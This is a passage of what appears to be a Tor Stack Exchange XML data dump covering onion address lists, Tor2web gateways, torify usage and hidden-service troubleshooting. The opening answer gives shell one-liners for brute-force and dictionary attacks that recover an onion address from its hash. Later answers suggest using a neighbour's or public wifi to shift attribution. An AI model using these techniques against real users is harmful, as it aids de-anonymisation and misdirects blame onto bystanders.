format&lt;/a&gt;, you would expect the 16-character alpha-semi-numeric hash + a pseudo-top-level .onion domain. Read more: &lt;a href=&quot;https://tor.stackexchange.com/questions/3896/where-i-can-find-export-or-download-the-biggest-list-of-all-onion-addresses&quot;&gt;Where I can find, export or download the biggest list of all .onion addresses?&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Read the example:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://stackoverflow.com/questions/25381184/how-to-define-80-bit-long-variable-in-python-to-generate-random-onion-addresses&quot;&gt;How to define 80-bit long variable in Python to generate random .onion addresses?&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Further more you can restrict the list by creating list of every page that has been online (e.g. some search engines, etc.). E.g. &lt;a href=&quot;https://ahmia.fi/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Ahmia.fi&lt;/a&gt; is gathering .onion addresses using various methods by crawling the hidden services, downloading visited page data from the Tor2web nodes, and users can use an HTML form to add new addresses.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So you can create a kind of script that reads a list of .onions, saves those into the text file. Then write the script to use the dictionary attack to crack the hash.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To increase the time, you may consider to run the attach in parallel (e.g. ask your friends or use the cloud computing). &lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Example of random attack in shell using Python (change 1234 to your hash):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;while true; do python -c &quot;import random,base64,codecs; print base64.b32encode(codecs.decode(codecs.encode('{0:020x}'.format(random.getrandbits(80))),'hex_codec')).lower() + '.onion';&quot; | sha512sum; done | grep 1234&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;More examples, see: &lt;a href=&quot;https://stackoverflow.com/questions/25381184/how-to-define-80-bit-long-variable-in-python-to-generate-random-onion-addresses&quot;&gt;How to define 80-bit long variable in Python to generate random .onion addresses?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example of dictionary attack in bash:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;time cat sites.txt | xargs -L1 -I% -P4 sh -c &quot;printf % | sha512sum&quot; | grep 123&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Where &lt;code&gt;sites.txt&lt;/code&gt; is your file containing list of all onion addresses.&lt;/p&gt;&#xA;" OwnerUserId="1880" LastEditorUserId="-1" LastEditDate="2017-05-23T12:37:21.987" LastActivityDate="2016-07-12T13:11:32.350" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3896" PostTypeId="1" AcceptedAnswerId="3897" CreationDate="2014-08-20T11:34:23.390" Score="21" ViewCount="81155" Body="&lt;p&gt;Where or how I can find, export or download the biggest list of all hidden service .onion addresses?&lt;/p&gt;&#xA;" OwnerUserId="1880" LastActivityDate="2015-07-15T01:28:06.957" Title="Where I can find, export or download the biggest list of all .onion addresses?" Tags="|onion-services|onion-routing|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3897" PostTypeId="2" ParentId="3896" CreationDate="2014-08-20T11:41:47.970" Score="14" Body="&lt;p&gt;You can extract the list from Hidden Service lists and search engines which are available at &lt;a href=&quot;https://dirnxxdraygbifgc.tor2web.org/&quot;&gt;OnionDir - Deep Web Link Directory&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or you can try &lt;a href=&quot;https://ahmia.fi/&quot;&gt;Ahmia.fi&lt;/a&gt; site which is gathering .onion addresses using various methods by crawling the hidden services, downloading visited page data from the Tor2web nodes, and users can use an HTML form to add new addresses. List of the hidden onion sites can be found at &lt;a href=&quot;https://ahmia.fi/address/&quot;&gt;Onion domain list at ahmia.fi&lt;/a&gt; (over 1000).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Other lists:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://en.wikipedia.org/wiki/List_of_Tor_hidden_services&quot;&gt;List of Tor hidden services&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://darkspider.info/index.php/onion-url-list&quot;&gt;Onion URL List at DarkSpider&lt;/a&gt; (over 2400)&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.reddit.com/r/onions/comments/1zeve6/huge_list_of_hidden_services/&quot;&gt;Huge list of hidden services&lt;/a&gt; at Reddit&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://github.com/kenorb/cicada-2014/blob/master/stage11/scripts/onions-list.txt&quot;&gt;onions-list.txt&lt;/a&gt; at GitHub (over 3200)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Other methods:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Use Google, e.g.:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&quot;http?://*.onion&quot; OR &quot;http?://*.onion.tor2web&quot; OR &quot;http?://*.tor2web.org&quot; OR &quot;http?://*.onion.cab/&quot;&#xA;site:websitedown.info/*.onion OR site:websitenotworking.com/*.onion&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="1880" LastEditorUserId="1880" LastEditDate="2014-09-15T18:32:06.463" LastActivityDate="2014-09-15T18:32:06.463" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3898" PostTypeId="1" AcceptedAnswerId="3899" CreationDate="2014-08-20T12:33:22.340" Score="11" ViewCount="78827" Body="&lt;p&gt;What are the best Tor2Web anonymous gateways to make Hidden Web-Services available on clearnet/standard Internet?&lt;/p&gt;&#xA;" OwnerUserId="1880" LastEditorUserId="88" LastEditDate="2014-09-25T12:20:04.533" LastActivityDate="2017-02-15T06:26:59.940" Title="What are the best Tor2Web anonymous gateways?" Tags="|onion-services|onion-routing|web-proxy|" AnswerCount="3" CommentCount="3" CommunityOwnedDate="2015-03-11T08:17:43.757" ContentLicense="CC BY-SA 3.0" />
  <row Id="3899" PostTypeId="2" ParentId="3898" CreationDate="2014-08-20T12:37:34.540" Score="12" Body="&lt;p&gt;There are few available Tor2web network gateways:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;*.tor2web.org,&lt;/li&gt;&#xA;&lt;li&gt;*.tor2web.fi (managed by &lt;a href=&quot;https://ahmia.fi/search/&quot;&gt;Ahmia - Onion Search Engine&lt;/a&gt;),&lt;/li&gt;&#xA;&lt;li&gt;*.tor2web.blutmagie.de (managed by O.Selke with no block),&lt;/li&gt;&#xA;&lt;li&gt;*.onion.sh (managed by my unknown friend: “hey anon!”).&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Source: &lt;a href=&quot;http://e-privacy.winstonsmith.org/2013/atti/16_ep2013_pellerano_tor2web.pdf&quot;&gt;Tor2web: exposing the darknet on Internet (PDF)&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;How it works&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Whenever you see a URL like &lt;a href=&quot;http://xxx.onion/&quot;&gt;http://xxx.onion/&lt;/a&gt;, that's a Tor hidden Web service. Just replace .onion with .tor2web.org to use the Tor2web proxy network.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example: &lt;a href=&quot;https://duskgytldkxiuqc6.tor2web.org/&quot;&gt;https://duskgytldkxiuqc6.tor2web.org/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1880" LastActivityDate="2014-08-20T12:37:34.540" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3900" PostTypeId="1" CreationDate="2014-08-20T15:18:12.127" Score="1" ViewCount="814" Body="&lt;p&gt;Does anybody know whether it is possible to script Tor Browser with Marionette (&lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Mozilla/QA/Marionette&quot; rel=&quot;nofollow&quot;&gt;https://developer.mozilla.org/en-US/docs/Mozilla/QA/Marionette&lt;/a&gt;)?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I pass the &lt;code&gt;-marionette&lt;/code&gt; argument to start-tor-browser, Tor browser listens locally on the port 2828 for Marionette/webdriver connections.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have installed marionette_client in a venv as described at marionette-client.readthedocs.org.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, if I try to follow the instructions at &lt;a href=&quot;http://marionette-client.readthedocs.org/en/latest/#getting-started&quot; rel=&quot;nofollow&quot;&gt;http://marionette-client.readthedocs.org/en/latest/#getting-started&lt;/a&gt; I get an error message:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;gt;&amp;gt;&amp;gt; client = Marionette(host='localhost', port=2828)&#xA;&amp;gt;&amp;gt;&amp;gt; client.start_session()&#xA;Traceback (most recent call last):&#xA;  File &quot;&amp;lt;stdin&amp;gt;&quot;, line 1, in &amp;lt;module&amp;gt;&#xA;  File &quot;[...]/marionette/venv/local/lib/python2.7/site-packages/marionette/marionette.py&quot;, line 811, in start_session&#xA;    self.session = self._send_message('newSession', 'value')&#xA;  File &quot;[...]/marionette/venv/local/lib/python2.7/site-packages/marionette/decorators.py&quot;, line 35, in _&#xA;    return func(*args, **kwargs)&#xA;  File &quot;[...]/marionette/venv/local/lib/python2.7/site-packages/marionette/marionette.py&quot;, line 611, in _send_message&#xA;    response = self.client.send(message)&#xA;  File &quot;[...]/marionette/venv/local/lib/python2.7/site-packages/marionette_transport/transport.py&quot;, line 85, in send&#xA;    self.connect()&#xA;  File &quot;[...]/marionette/venv/local/lib/python2.7/site-packages/marionette_transport/transport.py&quot;, line 79, in connect&#xA;    self.actor = response['id']&#xA;KeyError: 'id'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Has anybody had any success using Tor Browser with Marionette?&lt;/p&gt;&#xA;" OwnerUserId="3448" LastEditorUserId="923" LastEditDate="2014-08-20T15:38:24.733" LastActivityDate="2019-04-22T04:06:41.080" Title="scripting Tor browser with marionette" Tags="|tor-browser-bundle|python|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3901" PostTypeId="2" ParentId="3887" CreationDate="2014-08-20T15:37:19.773" Score="1" Body="&lt;p&gt;It makes it far more likely that a site owner will be able to track you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are also risks from bugs in the Tor browser..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are many, many techniques in Javascript for trackking the user; not all of them are fixed even in current browsers. It's possible to make a semi-unique signature based on many factors in the configuration of your browser / OS. Such a signature would be fairly distinctive if you enable Javascript, but most Tor users don't. Having Javascript disabled turns off nearly all of the factors which can be used to identify the browser.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's easy for a provider to tell you're using Tor because the Tor exit nodes IP addresses are published (by design). Tor gives you some anonymity by making it difficult to identify individual Tor users, who are many. Anything you do differently from the majority makes it much easier to identify you when you return to the same site later.&lt;/p&gt;&#xA;" OwnerUserId="3441" LastActivityDate="2014-08-20T15:37:19.773" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3902" PostTypeId="2" ParentId="3873" CreationDate="2014-08-20T15:41:39.630" Score="1" Body="&lt;p&gt;The Tor client completely controls the policy of which nodes to use and you're free to use a modified version of Tor if you like.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Therefore, yes, you can use a random exit node. However, if you use a different policy from the default:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;You will get a worse service, because you might be choosing slow or overloaded nodes&lt;/li&gt;&#xA;&lt;li&gt;You will be easier to identify, because the behavior of choosing random nodes may be distinctive to origin-servers.&lt;/li&gt;&#xA;&lt;li&gt;You will still need to respect the nodes exit-policy, or you'll get no service at all&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I don't think there's an easy way of changing the whole exit-node policy without modifying the Tor source code. You can change some timings and forbid / force certain nodes to be used. You can choose a particular set of exit nodes if you like (but this is a labor-intensive and unreliable setup).&lt;/p&gt;&#xA;" OwnerUserId="3441" LastActivityDate="2014-08-20T15:41:39.630" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3903" PostTypeId="2" ParentId="3878" CreationDate="2014-08-20T15:44:09.090" Score="2" Body="&lt;p&gt;Unless they are running endpoint (client) tracking software, it's unlikely they will be able to see your Tor browsing history.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, they can see the dates/times when you're using Tor, as well the dates/times that their own web services were accessed via Tor. They might be able to do some traffic correlation.&lt;/p&gt;&#xA;" OwnerUserId="3441" LastActivityDate="2014-08-20T15:44:09.090" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3904" PostTypeId="2" ParentId="3784" CreationDate="2014-08-20T15:47:36.810" Score="1" Body="&lt;p&gt;If you don't enable client authentication on the Tor hidden service, you only have the existence of the .onion name to protect your services from scanning.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is generally difficult for someone to guess the .onion address, however, once they've found it there's no way to stop them having it unless you move to a different one (which inconveniences your real users).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're unhappy with the strength of the authentication on your services, you can require client authentication in Tor. This does impose an additional admin overhead on legitimate users (key generation, distribution etc).&lt;/p&gt;&#xA;" OwnerUserId="3441" LastActivityDate="2014-08-20T15:47:36.810" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3905" PostTypeId="2" ParentId="3586" CreationDate="2014-08-20T15:51:28.253" Score="0" Body="&lt;p&gt;You don't need to run them on separate port numbers; you can use host-based virtual-hosting with .onion domain names exactly as you would with clearnet domain names.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Having said that, if you're really paranoid about people discovering that the services are on the same server, you should use different port numbers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Someone can connect to site1.onion and send a Host: header with site2.onion, and if the server replies as if it was site2.onion, then they will know they're hosted on the same server.&lt;/p&gt;&#xA;" OwnerUserId="3441" LastActivityDate="2014-08-20T15:51:28.253" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3906" PostTypeId="2" ParentId="3880" CreationDate="2014-08-20T15:58:09.673" Score="1" Body="&lt;p&gt;Onion-addresses can also have another &quot;subdomain&quot; part on the beginning&lt;/p&gt;&#xA;&#xA;&lt;p&gt;so you can have &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;whatever.abcdefghij234567.onion&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As well as&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;abcdefghij234567.onion&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;For SSL technical reasons, the clearnet tor2web proxies don't support these domain names (e.g. tor2web.org )&lt;/p&gt;&#xA;" OwnerUserId="3441" LastActivityDate="2014-08-20T15:58:09.673" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3907" PostTypeId="2" ParentId="3896" CreationDate="2014-08-20T16:04:13.810" Score="5" Body="&lt;p&gt;Harry71 has a list of onion-hosts which provide a public web site, which you can get in machine readable format.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://skunksworkedp2cg.onion/sites.txt&quot; rel=&quot;noreferrer&quot;&gt;http://skunksworkedp2cg.onion/sites.txt&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It gets updated fairly often.&lt;/p&gt;&#xA;" OwnerUserId="3441" LastActivityDate="2014-08-20T16:04:13.810" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3909" PostTypeId="1" CreationDate="2014-08-21T07:36:09.197" Score="2" ViewCount="5687" Body="&lt;p&gt;Using Ubuntu 14.04 when I use this to  sh start-tor-browser it won't start &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/1n8Mm.jpg&quot; alt=&quot;Screenshot of desktop&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="3445" LastEditorUserId="3445" LastEditDate="2014-08-24T12:33:21.753" LastActivityDate="2016-05-06T12:35:07.053" Title="Tor unexpectedly exited when I started using terminal" Tags="|tor-browser-bundle|ubuntu|" AnswerCount="1" CommentCount="6" ClosedDate="2016-05-09T06:54:10.737" ContentLicense="CC BY-SA 3.0" />
  <row Id="3910" PostTypeId="2" ParentId="3602" CreationDate="2014-08-21T18:35:13.720" Score="1" Body="&lt;p&gt;No. You can still exit to any port.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What that does is limit the Guard nodes you can use. In this case, you can only build circuits using a Guard node whose OR port is 443. Those circuits can still exit anywhere. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;And yes. All https connections are encrypted all the way between your browser and the final destination web server. &lt;/p&gt;&#xA;" OwnerUserId="350" LastActivityDate="2014-08-21T18:35:13.720" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3911" PostTypeId="2" ParentId="3769" CreationDate="2014-08-21T20:50:54.050" Score="1" Body="&lt;p&gt;The risk for using a link like that for that service is not something i would worry about.&#xA;JavaScript becomes a risk (has been) when a third party uses it to exploit the tor browser, so that means that pinterest has to push a exploit to you, and thats extremely unlikely. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is bigger risk for other types of exploits then what this link could do.&lt;/p&gt;&#xA;" OwnerUserId="112" LastEditorDisplayName="user5" LastEditDate="2015-01-20T03:45:15.833" LastActivityDate="2015-01-20T03:45:15.833" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3912" PostTypeId="2" ParentId="3734" CreationDate="2014-08-21T20:54:53.857" Score="2" Body="&lt;p&gt;If you use someone else's wifi and the ip gets exposed then it'll show their ip.&#xA;But keep in mind that mac address of connecting hardware can be used to trace your equipment, tails spoofs the mac,  making it harder (or impossible) to know if you used their connection.&lt;/p&gt;&#xA;" OwnerUserId="112" LastActivityDate="2014-08-21T20:54:53.857" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3913" PostTypeId="2" ParentId="3734" CreationDate="2014-08-22T06:14:41.003" Score="2" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;What I would like to know is, if your VPN or Tor gets exposed, who is behind it? Because I suppose that what the attacker will see is the IP of not your wifi, but the other.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;They would see your neighbors IP. But keep in mind that neighbors are always the first target if they believe the suspects wifi has been breached. Use a public wifi like starbucks etc. &lt;/p&gt;&#xA;" OwnerDisplayName="user3349" LastEditorUserId="923" LastEditDate="2014-08-25T14:48:15.683" LastActivityDate="2014-08-25T14:48:15.683" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3915" PostTypeId="1" CreationDate="2014-08-22T09:15:04.263" Score="2" ViewCount="167" Body="&lt;p&gt;Over the past couple of days, I've been having a feeling that some websites do know that I am using Tor. Whenever I try opening certain pages, they either completely refuse to open or simply reload when I do an action like submitting a form. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;One example of these sites that is currently making me go crazy is hire writers dot com / signup / writer (sorry for writing it in this format, but I didn't want backlinks to originate from here). When I try opening the page, I get an error. Something about a symfony project.... I believe this site may address something vital about it ( &lt;a href=&quot;http://dunglas.fr/2013/03/dunglastorcontrolbundle-torcontrol-symfony-integration/&quot; rel=&quot;nofollow&quot;&gt;http://dunglas.fr/2013/03/dunglastorcontrolbundle-torcontrol-symfony-integration/&lt;/a&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So in short, I can't have access to the first site mentioned above. I tried out one of the popular proxies... The one from hidemyass , but unfortunately there are some page elements that fail to work. The &quot;antispam slider&quot; for instance does not work and can't be slid across to the right number. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm almost out of options but I believe there is something Tor can do for me. I just don't know it yet.  Any help would be greatly appreciated.  :)&lt;/p&gt;&#xA;" OwnerUserId="3459" LastEditorUserId="923" LastEditDate="2014-08-22T11:11:29.970" LastActivityDate="2014-08-22T11:11:29.970" Title="Tor not opening certain webpages properly (symfony project?)" Tags="|anonymity|web-proxy|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3916" PostTypeId="2" ParentId="3915" CreationDate="2014-08-22T10:28:26.020" Score="2" Body="&lt;p&gt;Do you use Tor with scripts disabled? That may be why some sites won't let you submit forms. At any case, a good amount of clearweb sites block Tor users anyways. Your best bet is to find a proxy that doesn't disable scripts (thats the reason some page elements don't work; many proxies disable scripts by default) or get a VPN.&lt;/p&gt;&#xA;" OwnerDisplayName="user3349" LastActivityDate="2014-08-22T10:28:26.020" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3918" PostTypeId="1" AcceptedAnswerId="3919" CreationDate="2014-08-22T18:35:05.847" Score="9" ViewCount="13527" Body="&lt;p&gt;How to anonymize the programs from your terminal (such as &lt;code&gt;wget&lt;/code&gt;, &lt;code&gt;curl&lt;/code&gt;, etc.)?&lt;/p&gt;&#xA;" OwnerUserId="1880" LastEditorUserId="1880" LastEditDate="2015-05-11T11:38:14.790" LastActivityDate="2015-05-28T16:01:43.757" Title="How to anonymize the programs from the terminal?" Tags="|onion-services|linux|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3919" PostTypeId="2" ParentId="3918" CreationDate="2014-08-22T18:39:39.463" Score="10" Body="&lt;p&gt;&lt;strong&gt;Torify&lt;/strong&gt; is a simple wrapper that attempts to find the best underlying Tor wrapper available on a system. It calls torsocks or tsocks with a tor specific configuration file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It'll take measures to ensure that an application, which has not been designed for use with Tor (such as TorChat), will use only Tor for internet connectivity. Also ensure that there are no leaks from DNS, UDP or &lt;a href=&quot;https://trac.torproject.org/projects/tor/wiki/doc/TorifyHOWTO#examplesandreasoningfortheWARNING&quot; rel=&quot;noreferrer&quot;&gt;the application protocol&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You should read the documentation at ​&lt;a href=&quot;https://www.torproject.org&quot; rel=&quot;noreferrer&quot;&gt;Tor Project&lt;/a&gt; before attempting to &quot;torify&quot; any applications your self.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Installation&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Torify should be already installed with your Tor server.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If not, you've to install tor, which is usually found on all the repository so for Debian, Ubuntu and Mint you just have to type:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sudo apt-get install tor&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;On OSX with &lt;a href=&quot;http://brew.sh/&quot; rel=&quot;noreferrer&quot;&gt;Homebrew&lt;/a&gt;: &lt;code&gt;brew install tor torsocks&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After installation and configuration, and starting the tor server, you can prefix &lt;code&gt;torify&lt;/code&gt; before any command.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Example usages:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ torify curl ifconfig.me&#xA;$ torify wget -r --mirror -S http://dppmfxaacucguzpc.onion&#xA;$ torify links http://dppmfxaacucguzpc.onion/&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Read more:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.torproject.org/docs/installguide.html.en&quot; rel=&quot;noreferrer&quot;&gt;Tor Installation guides&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://trac.torproject.org/projects/tor/wiki/doc/TorifyHOWTO&quot; rel=&quot;noreferrer&quot;&gt;Torify HOWTO&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://linuxaria.com/howto/how-to-anonymize-the-programs-from-your-terminal-with-torify&quot; rel=&quot;noreferrer&quot;&gt;How to anonymize the programs from your terminal with torify&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="1880" LastEditorUserId="1880" LastEditDate="2014-08-22T18:55:50.167" LastActivityDate="2014-08-22T18:55:50.167" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3920" PostTypeId="1" CreationDate="2014-08-22T21:21:43.017" Score="1" ViewCount="44" Body="&lt;p&gt;Our net provider use proxy (192.168.127.1  port 80) and we can't access internet, in older version of Tor I use bridges but in newer version I can't!&#xA;Please help me.&#xA;Thanks for your effort. &lt;/p&gt;&#xA;" OwnerUserId="3465" LastEditorUserId="923" LastEditDate="2014-08-23T11:33:00.300" LastActivityDate="2014-08-23T11:33:00.300" Title="How can I access internet with the proxy?" Tags="|web-proxy|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3921" PostTypeId="1" CreationDate="2014-08-22T23:36:49.890" Score="1" ViewCount="1587" Body="&lt;p&gt;I'm running Windows 8 and Savant 3.1. I have the DNS set to localhost:80 and it works in a normal browser.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's where the problem sits. I add the following to the bottom of &lt;code&gt;torrc&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;HiddenServiceDir C:\Users\abc\tor_service&#xA;HiddenServicePort 80 127.0.0.1:80&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Initially, TBB would tell me that it couldn't connect to localhost.com. I reinstalled Tor and did everything again. For a short period, it just wasn't making any connection to the .onion address I was assigned, nevermind a localhost. Now it's back to the localhost.com problem:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Unable to connect&lt;/strong&gt;&lt;br /&gt;&#xA;&lt;em&gt;Firefox can't establish a connection to the server at www.localhost.com.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The log: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;8/22/2014 23:03:53 PM.535 [NOTICE] New control connection opened.&#xA;8/22/2014 23:04:10 PM.559 [NOTICE] Closing stream for '[scrubbed].onion': hidden service is unavailable (try again later).&#xA;8/22/2014 23:05:53 PM.360 [WARN] Rejecting SOCKS request for anonymous connection to private address [scrubbed].&#xA;8/22/2014 23:18:09 PM.164 [WARN] Rejecting SOCKS request for anonymous connection to private address [scrubbed]. [20 similar message(s) suppressed in last 300 seconds]&#xA;8/22/2014 23:18:11 PM.147 [NOTICE] Have tried resolving or connecting to address '[scrubbed]' at 3 different places. Giving up.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Giving up, very sad, sounds exhausted. How can I fix the problem and finish the set up of a hidden service?&lt;/p&gt;&#xA;" OwnerUserId="3467" LastEditorUserId="88" LastEditDate="2014-09-28T09:42:41.540" LastActivityDate="2014-09-28T09:42:41.540" Title="I can't set up a hidden service, can anyone tell me what the problem is?" Tags="|onion-services|windows|" AnswerCount="0" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="3922" PostTypeId="2" ParentId="3882" CreationDate="2014-08-22T23:39:41.583" Score="2" Body="&lt;p&gt;If you run it with sudo, of course it will be run as root. It also makes sense that it uses your HOME directory. Doing a &lt;code&gt;sudo echo $HOME&lt;/code&gt; explains why. So this doesn't appear to be wrong, but expected behavior.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What you probably want to do is have a torrc and set things like logging using the &lt;code&gt;Log&lt;/code&gt; option and &lt;code&gt;User &amp;lt;username&amp;gt;&lt;/code&gt;, so privileges are dropped to the specified user.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://openbsd.cs.toronto.edu/cgi-bin/cvsweb/ports/net/tor/patches/patch-src_config_torrc_sample_in?rev=1.12&amp;amp;content-type=text/x-cvsweb-markup&quot; rel=&quot;nofollow&quot;&gt;OpenBSD appears to patch the torrc sample config&lt;/a&gt; in a way that logs are handled via syslog.&lt;/p&gt;&#xA;" OwnerUserId="1292" LastEditorUserId="1292" LastEditDate="2014-08-22T23:46:23.697" LastActivityDate="2014-08-22T23:46:23.697" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="3923" PostTypeId="2" ParentId="3769" CreationDate="2014-08-23T00:03:35.323" Score="1" Body="&lt;p&gt;If you know and understand what the bookmarklet you use does and know the privacy implications by using this you are probably not adding specific risk.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since you send information to pinboard.in you are however replacing anonymity with pseudonymity. This means that it might be easier for this service to reveal your identity either by doing something like giving them your email address, by allowing them create a profile around the websites you usually visit or when you use the page without Tor (maybe on accident).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The effects of making a mistake might be bigger, because even if you use a setup like this for years and you are still only pseudonymous to them one tiny mistake might cause your personality to be revealed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, by looking at exit nodes you of course will be visible as someone who sometimes uses this bookmarklet which might be a trace to who you are, potentially making you 